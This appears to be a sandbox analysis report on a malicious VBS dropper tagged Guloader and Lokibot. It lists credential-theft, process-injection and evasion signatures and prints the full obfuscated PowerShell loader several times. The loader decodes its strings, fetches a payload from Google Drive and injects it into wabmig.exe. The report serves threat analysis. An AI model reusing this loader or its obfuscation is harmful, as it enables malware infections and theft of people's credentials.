Analysis Overview
SHA256
5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7
Threat Level: Known bad
The file 5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7.vbs was found to be: Known bad.
Malicious Activity Summary
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
Checks computer location settings
Accesses Microsoft Outlook profiles
Legitimate hosting services abused for malware hosting/C2
Suspicious use of SetThreadContext
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of NtCreateThreadExHideFromDebugger
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
outlook_office_path
outlook_win_path
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: CmdExeWriteProcessMemorySpam
Suspicious use of WriteProcessMemory
Suspicious behavior: MapViewOfSection
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-09-17 01:13
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-17 01:13
Reported
2024-09-17 01:15
Platform
win10v2004-20240802-en
Max time kernel
148s
Max time network
146s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3020 set thread context of 4952 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wabmig.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4352,i,2727319350781907497,7925939240893079607,262144 --variations-seed-version --mojo-platform-channel-handle=1304 /prefetch:8
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj 